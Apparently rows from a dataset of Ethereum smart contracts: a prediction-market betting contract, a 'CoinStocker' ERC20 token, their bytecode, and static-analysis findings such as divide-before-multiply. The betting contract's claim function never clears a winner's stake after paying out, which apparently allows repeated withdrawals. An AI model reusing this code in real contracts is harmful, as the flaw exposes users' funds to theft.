function settleCondition(uint256 _conditionIndex) public {
ConditionInfo storage conditionInfo = conditions[_conditionIndex];
require(conditionInfo.oracle !=address(0), "Condition doesn't exists");
require(block.timestamp >= conditionInfo.settlementTime,"Not before Settlement Time");
require(!conditionInfo.isSettled,"Condition settled already");
conditionInfo.isSettled = true;
priceFeed = AggregatorV3Interface(conditionInfo.oracle);
(,int latestPrice,,,) = priceFeed.latestRoundData();
conditionInfo.settledPrice = latestPrice;
emit ConditionSettled(_conditionIndex,latestPrice,block.timestamp);
}
function claim(uint256 _conditionIndex) public{
ConditionInfo storage conditionInfo = conditions[_conditionIndex];
address payable userAddress = msg.sender;
UserInfo storage userInfo = users[_conditionIndex][userAddress];
require(userTotalETHStaked(_conditionIndex,userAddress) > 0, "Nothing To Claim");
if(!conditionInfo.isSettled){
settleCondition(_conditionIndex);
}
uint256 totalPayout; //Payout to be distributed among winners(total eth staked by loosing side)
uint256 winnersTotalETHStaked; //total eth staked by the winning side
uint256 userProportion; //User Stake Proportion among the total ETH Staked by winners
uint256 winnerPayout;
uint256 winnerRedeemable; //User can redeem 90% of there total winnerPayout
uint256 platformFees; // remaining 10% will be treated as platformFees
uint256 totalWinnerRedeemable; //Amount Redeemable including winnerRedeemable & user initial Stake
if(conditionInfo.settledPrice >= conditionInfo.triggerPrice){ //Users who predicted above price wins
totalPayout = conditionInfo.totalBelowETHStaked;
winnersTotalETHStaked = conditionInfo.totalAboveETHStaked;
userProportion = userInfo.aboveETHStaked.mul(1e18).div(winnersTotalETHStaked);
winnerPayout = totalPayout.mul(userProportion).div(1e18);
winnerRedeemable = (winnerPayout.div(1000)).mul(900);
platformFees = (winnerPayout.div(1000)).mul(100);
owner.transfer(platformFees);
totalWinnerRedeemable = winnerRedeemable.add(userInfo.aboveETHStaked);
userAddress.transfer(totalWinnerRedeemable);
}
else if(conditionInfo.settledPrice < conditionInfo.triggerPrice){ //Users who predicted below price wins
totalPayout = conditionInfo.totalAboveETHStaked;
winnersTotalETHStaked = conditionInfo.totalBelowETHStaked;
userProportion = userInfo.belowETHStaked.mul(1e18).div(winnersTotalETHStaked);
winnerPayout = totalPayout.mul(userProportion).div(1e18);
winnerRedeemable = (winnerPayout.div(1000)).mul(900);
platformFees = (winnerPayout.div(1000)).mul(100);
owner.transfer(platformFees);
totalWinnerRedeemable = winnerRedeemable.add(userInfo.belowETHStaked);
userAddress.transfer(totalWinnerRedeemable);
}
emit UserClaimed(_conditionIndex,userAddress,winnerPayout);
}
}
|
0x6080604052600436106100915760003560e01c806364a36b381161005957806364a36b381461018757806387e88f63146101b05780638a7a90b6146101d95780638da5cb5b14610216578063b9d02df41461024157610091565b80630eb19ccd1461009657806326c50007146100b25780632951659a146100f5578063379607f5146101335780634bb09cb31461015c575b600080fd5b6100b060048036038101906100ab9190611455565b61027f565b005b3480156100be57600080fd5b506100d960048036038101906100d491906113f0565b610617565b6040516100ec9796959493929190611902565b60405180910390f35b34801561010157600080fd5b5061011c600480360381019061011791906113f0565b610686565b60405161012a929190611b49565b60405180910390f35b34801561013f57600080fd5b5061015a600480360381019061015591906113f0565b61075a565b005b34801561016857600080fd5b50610171610bd5565b60405161017e9190611b2e565b60405180910390f35b34801561019357600080fd5b506101ae60048036038101906101a991906113f0565b610bdb565b005b3480156101bc57600080fd5b506101d760048036038101906101d291906113a1565b610e8e565b005b3480156101e557600080fd5b5061020060048036038101906101fb9190611419565b6110ce565b60405161020d9190611b2e565b60405180910390f35b34801561022257600080fd5b5061022b611147565b60405161023891906118e7565b60405180910390f35b34801561024d57600080fd5b5061026860048036038101906102639190611419565b61116d565b604051610276929190611b49565b60405180910390f35b6000600360008481526020019081526020016000209050600073ffffffffffffffffffffffffffffffffffffffff168160000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141561032a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161032190611a2e565b60405180910390fd5b80600201544210610370576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610367906119ae565b60405180910390fd5b6000349050600081116103b8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103af90611a0e565b60405180910390fd5b60008360ff1614806103cd575060018360ff16145b61040c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161040390611a4e565b60405180910390fd5b600033905060006004600087815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020905060008560ff1614156105195783600601829080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506104ed83856003015461119e90919063ffffffff16565b846003018190555061050c83826000015461119e90919063ffffffff16565b81600001819055506105bd565b83600501829080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061059583856004015461119e90919063ffffffff16565b84600401819055506105b483826001015461119e90919063ffffffff16565b81600101819055505b828273ffffffffffffffffffffffffffffffffffffffff16877fc3211542595466414b95eb161013f4239525373986e2e6037c6eb8404364ead98842604051610607929190611b72565b60405180910390a4505050505050565b60036020528060005260406000206000915090508060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16908060010154908060020154908060030154908060040154908060070160009054906101000a900460ff16908060080154905087565b600080600060036000858152602001908152602001600020905060008160040154905060008260030154905060006106c7828461119e90919063ffffffff16565b905060008082116106d9576000610707565b610706826106f8670de0b6b3a7640000876111f390919063ffffffff16565b61126390919063ffffffff16565b5b90506000808311610719576000610747565b61074683610738670de0b6b3a7640000876111f390919063ffffffff16565b61126390919063ffffffff16565b5b9050818197509750505050505050915091565b6000600360008381526020019081526020016000209050600033905060006004600085815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020905060006107d685846110ce565b11610816576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161080d90611aae565b60405180910390fd5b8260070160009054906101000a900460ff166108365761083584610bdb565b5b600080600080600080600089600101548a60080154126109e357896003015496508960040154955061088f86610881670de0b6b3a76400008b600101546111f390919063ffffffff16565b61126390919063ffffffff16565b94506108be670de0b6b3a76400006108b0878a6111f390919063ffffffff16565b61126390919063ffffffff16565b93506108e96103846108db6103e88761126390919063ffffffff16565b6111f390919063ffffffff16565b925061091360646109056103e88761126390919063ffffffff16565b6111f390919063ffffffff16565b9150600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc839081150290604051600060405180830381858888f1935050505015801561097d573d6000803e3d6000fd5b5061099588600101548461119e90919063ffffffff16565b90508873ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156109dd573d6000803e3d6000fd5b50610b83565b89600101548a600801541215610b82578960040154965089600301549550610a3286610a24670de0b6b3a76400008b600001546111f390919063ffffffff16565b61126390919063ffffffff16565b9450610a61670de0b6b3a7640000610a53878a6111f390919063ffffffff16565b61126390919063ffffffff16565b9350610a8c610384610a7e6103e88761126390919063ffffffff16565b6111f390919063ffffffff16565b9250610ab66064610aa86103e88761126390919063ffffffff16565b6111f390919063ffffffff16565b9150600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc839081150290604051600060405180830381858888f19350505050158015610b20573d6000803e3d6000fd5b50610b3888600001548461119e90919063ffffffff16565b90508873ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015610b80573d6000803e3d6000fd5b505b5b838973ffffffffffffffffffffffffffffffffffffffff168c7fff29b281372993483c1ce6b621ae07832d519c2294e43340f051312701ad132a60405160405180910390a45050505050505050505050565b60015481565b6000600360008381526020019081526020016000209050600073ffffffffffffffffffffffffffffffffffffffff168160000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415610c86576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c7d90611a2e565b60405180910390fd5b8060020154421015610ccd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cc490611b0e565b60405180910390fd5b8060070160009054906101000a900460ff1615610d1f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d1690611a8e565b60405180910390fd5b60018160070160006101000a81548160ff0219169083151502179055508060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663feaf968c6040518163ffffffff1660e01b815260040160a06040518083038186803b158015610e0957600080fd5b505afa158015610e1d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e419190611491565b50505091505080826008018190555080837fabb10a4439f6479f93d699ea3016d843a2858e7e18a37e36aab806d711e3611442604051610e819190611b2e565b60405180910390a3505050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610f1e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f15906119ee565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610f8e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f8590611aee565b60405180910390fd5b428211610fd0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fc790611ace565b60405180910390fd5b610fe56001805461119e90919063ffffffff16565b60018190555060006003600060015481526020019081526020016000209050838160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555082816002018190555081816001018190555060008160070160006101000a81548160ff021916908315150217905550828473ffffffffffffffffffffffffffffffffffffffff166001547fd0f8face7997bff3d597e8e866845c3932308693000d96cc554afd9643ab4a2e856040516110c09190611971565b60405180910390a450505050565b6000806004600085815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020905061113e8160000154826001015461119e90919063ffffffff16565b91505092915050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6004602052816000526040600020602052806000526040600020600091509150508060000154908060010154905082565b6000808284019050838110156111e9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111e0906119ce565b60405180910390fd5b8091505092915050565b600080831415611206576000905061125d565b600082840290508284828161121757fe5b0414611258576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161124f90611a6e565b60405180910390fd5b809150505b92915050565b60006112a583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506112ad565b905092915050565b600080831182906112f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112eb919061198c565b60405180910390fd5b50600083858161130057fe5b049050809150509392505050565b60008135905061131d81611c82565b92915050565b60008135905061133281611c99565b92915050565b60008151905061134781611c99565b92915050565b60008135905061135c81611cb0565b92915050565b60008151905061137181611cb0565b92915050565b60008135905061138681611cc7565b92915050565b60008151905061139b81611cde565b92915050565b6000806000606084860312156113b657600080fd5b60006113c48682870161130e565b93505060206113d58682870161134d565b92505060406113e686828701611323565b9150509250925092565b60006020828403121561140257600080fd5b60006114108482850161134d565b91505092915050565b6000806040838503121561142c57600080fd5b600061143a8582860161134d565b925050602061144b8582860161130e565b9150509250929050565b6000806040838503121561146857600080fd5b60006114768582860161134d565b925050602061148785828601611377565b9150509250929050565b600080600080600060a086880312156114a957600080fd5b60006114b78882890161138c565b95505060206114c888828901611338565b94505060406114d988828901611362565b93505060606114ea88828901611362565b92505060806114fb8882890161138c565b9150509295509295909350565b61151181611bc9565b82525050565b61152081611bb7565b82525050565b61152f81611bdb565b82525050565b61153e81611be7565b82525050565b600061154f82611b9b565b6115598185611ba6565b9350611569818560208601611c3e565b61157281611c71565b840191505092915050565b600061158a602083611ba6565b91507f43616e6e6f742062657420616674657220536574746c656d656e742054696d656000830152602082019050919050565b60006115ca601b83611ba6565b91507f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006000830152602082019050919050565b600061160a600983611ba6565b91507f4e6f74204f776e657200000000000000000000000000000000000000000000006000830152602082019050919050565b600061164a600f83611ba6565b91507f4265742063616e6e6f74206265203000000000000000000000000000000000006000830152602082019050919050565b600061168a601883611ba6565b91507f436f6e646974696f6e20646f65736e27742065786973747300000000000000006000830152602082019050919050565b60006116ca601283611ba6565b91507f496e76616c69642050726564696374696f6e00000000000000000000000000006000830152602082019050919050565b600061170a602183611ba6565b91507f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008301527f77000000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000611770601983611ba6565b91507f436f6e646974696f6e20736574746c656420616c7265616479000000000000006000830152602082019050919050565b60006117b0601083611ba6565b91507f4e6f7468696e6720546f20436c61696d000000000000000000000000000000006000830152602082019050919050565b60006117f0603983611ba6565b91507f536574746c656d656e742054696d652073686f756c642062652067726561746560008301527f72207468616e2054727820436f6e6669726d65642054696d65000000000000006020830152604082019050919050565b6000611856601283611ba6565b91507f43616e27742062652030206164647265737300000000000000000000000000006000830152602082019050919050565b6000611896601a83611ba6565b91507f4e6f74206265666f726520536574746c656d656e742054696d650000000000006000830152602082019050919050565b6118d281611c11565b82525050565b6118e181611c1b565b82525050565b60006020820190506118fc6000830184611508565b92915050565b600060e082019050611917600083018a611517565b6119246020830189611535565b61193160408301886118c9565b61193e60608301876118c9565b61194b60808301866118c9565b61195860a0830185611526565b61196560c0830184611535565b98975050505050505050565b60006020820190506119866000830184611535565b92915050565b600060208201905081810360008301526119a68184611544565b905092915050565b600060208201905081810360008301526119c78161157d565b9050919050565b600060208201905081810360008301526119e7816115bd565b9050919050565b60006020820190508181036000830152611a07816115fd565b9050919050565b60006020820190508181036000830152611a278161163d565b9050919050565b60006020820190508181036000830152611a478161167d565b9050919050565b60006020820190508181036000830152611a67816116bd565b9050919050565b60006020820190508181036000830152611a87816116fd565b9050919050565b60006020820190508181036000830152611aa781611763565b9050919050565b60006020820190508181036000830152611ac7816117a3565b9050919050565b60006020820190508181036000830152611ae7816117e3565b9050919050565b60006020820190508181036000830152611b0781611849565b9050919050565b60006020820190508181036000830152611b2781611889565b9050919050565b6000602082019050611b4360008301846118c9565b92915050565b6000604082019050611b5e60008301856118c9565b611b6b60208301846118c9565b9392505050565b6000604082019050611b8760008301856118d8565b611b9460208301846118c9565b9392505050565b600081519050919050565b600082825260208201905092915050565b6000611bc282611bf1565b9050919050565b6000611bd482611bf1565b9050919050565b60008115159050919050565b6000819050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600069ffffffffffffffffffff82169050919050565b60005b83811015611c5c578082015181840152602081019050611c41565b83811115611c6b576000848401525b50505050565b6000601f19601f8301169050919050565b611c8b81611bb7565b8114611c9657600080fd5b50565b611ca281611be7565b8114611cad57600080fd5b50565b611cb981611c11565b8114611cc457600080fd5b50565b611cd081611c1b565b8114611cdb57600080fd5b50565b611ce781611c28565b8114611cf257600080fd5b5056fea26469706673582212202e3e661d18cfcc108d0023dc54867067794a95104527970a76362ee134bdc8a764736f6c634300060c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
| 8,229 |
0xe154561093f7eeaf698bf77f324b4c0483102c9d
|
pragma solidity ^0.4.19;
// File: zeppelin-solidity/contracts/math/SafeMath.sol
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
// File: zeppelin-solidity/contracts/ownership/Ownable.sol
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
// File: contracts/SkillChainContributions.sol
// File: contracts/ApproveAndCallFallBack.sol
contract ApproveAndCallFallBack {
function receiveApproval(
address from,
uint256 tokens,
address token,
bytes data) public;
}
// File: zeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
// File: zeppelin-solidity/contracts/token/ERC20/BasicToken.sol
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
// File: zeppelin-solidity/contracts/token/ERC20/BurnableToken.sol
/**
* @title Burnable Token
* @dev Token that can be irreversibly burned (destroyed).
*/
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) public {
require(_value <= balances[msg.sender]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
Burn(burner, _value);
}
}
// File: zeppelin-solidity/contracts/token/ERC20/ERC20.sol
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: zeppelin-solidity/contracts/token/ERC20/DetailedERC20.sol
contract DetailedERC20 is ERC20 {
string public name;
string public symbol;
uint8 public decimals;
function DetailedERC20(string _name, string _symbol, uint8 _decimals) public {
name = _name;
symbol = _symbol;
decimals = _decimals;
}
}
// File: zeppelin-solidity/contracts/token/ERC20/StandardToken.sol
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
// File: zeppelin-solidity/contracts/token/ERC20/MintableToken.sol
/**
* @title Mintable token
* @dev Simple ERC20 Token example, with mintable token creation
* @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120
* Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol
*/
// File: contracts/SkillChainToken.sol
contract CoinStocker is DetailedERC20, StandardToken, BurnableToken, Ownable {
uint public rate = 20000;
function CoinStocker() DetailedERC20("CoinStocker", "CSR", 18) Ownable public {
balances[this] = 1000000000 * 10 ** 18;
totalSupply_ = 1000000000 * 10 ** 18;
}
function transfer(address _to, uint _value) public returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint _value) public returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function () external payable {
buyTokens(msg.sender);
}
// low level token purchase function
function buyTokens(address beneficiary) public payable {
require(beneficiary != address(0));
uint256 weiAmount = msg.value;
// calculate token amount to be created
uint256 tokens = getTokenAmount(weiAmount);
require(tokens < balances[this]);
balances[this] = balances[this].sub(tokens);
balances[beneficiary] = balances[beneficiary].add(tokens);
}
function getTokenAmount(uint256 weiAmount) internal view returns(uint256) {
return weiAmount.mul(rate);
}
function setRate(uint256 r) onlyOwner public {
rate = r;
}
function transferAnyERC20Token(address _tokenAddress, uint256 _tokens) onlyOwner public returns (bool success) {
return ERC20Basic(_tokenAddress).transfer(owner, _tokens);
}
function get_back() onlyOwner public {
owner.transfer(this.balance);
}
}
|
0x606060405260043610610107576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde0314610112578063095ea7b3146101a057806318160ddd146101fa57806323b872dd146102235780632c4e722e1461029c578063313ce567146102c557806334fcf437146102f457806342966c6814610317578063661884631461033a57806370a08231146103945780638da5cb5b146103e157806395d89b4114610436578063a9059cbb146104c4578063d73dd6231461051e578063dc39d06d14610578578063dd62ed3e146105d2578063ec8ac4d81461063e578063f2fde38b1461066c578063ffa05698146106a5575b610110336106ba565b005b341561011d57600080fd5b610125610883565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561016557808201518184015260208101905061014a565b50505050905090810190601f1680156101925780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101ab57600080fd5b6101e0600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610921565b604051808215151515815260200191505060405180910390f35b341561020557600080fd5b61020d610a13565b6040518082815260200191505060405180910390f35b341561022e57600080fd5b610282600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610a1d565b604051808215151515815260200191505060405180910390f35b34156102a757600080fd5b6102af610a33565b6040518082815260200191505060405180910390f35b34156102d057600080fd5b6102d8610a39565b604051808260ff1660ff16815260200191505060405180910390f35b34156102ff57600080fd5b6103156004808035906020019091905050610a4c565b005b341561032257600080fd5b6103386004808035906020019091905050610ab2565b005b341561034557600080fd5b61037a600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610c07565b604051808215151515815260200191505060405180910390f35b341561039f57600080fd5b6103cb600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610e98565b6040518082815260200191505060405180910390f35b34156103ec57600080fd5b6103f4610ee1565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561044157600080fd5b610449610f07565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561048957808201518184015260208101905061046e565b50505050905090810190601f1680156104b65780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156104cf57600080fd5b610504600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610fa5565b604051808215151515815260200191505060405180910390f35b341561052957600080fd5b61055e600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610fb9565b604051808215151515815260200191505060405180910390f35b341561058357600080fd5b6105b8600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506111b5565b604051808215151515815260200191505060405180910390f35b34156105dd57600080fd5b610628600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506112f6565b6040518082815260200191505060405180910390f35b61066a600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506106ba565b005b341561067757600080fd5b6106a3600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061137d565b005b34156106b057600080fd5b6106b86114d5565b005b600080600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156106f957600080fd5b349150610705826115ac565b9050600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548110151561075457600080fd5b6107a681600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115ca90919063ffffffff16565b600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061083b81600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115e390919063ffffffff16565b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b60008054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156109195780601f106108ee57610100808354040283529160200191610919565b820191906000526020600020905b8154815290600101906020018083116108fc57829003601f168201915b505050505081565b600081600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600454905090565b6000610a2a848484611601565b90509392505050565b60075481565b600260009054906101000a900460ff1681565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610aa857600080fd5b8060078190555050565b6000600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610b0257600080fd5b339050610b5782600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115ca90919063ffffffff16565b600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610baf826004546115ca90919063ffffffff16565b6004819055508073ffffffffffffffffffffffffffffffffffffffff167fcc16f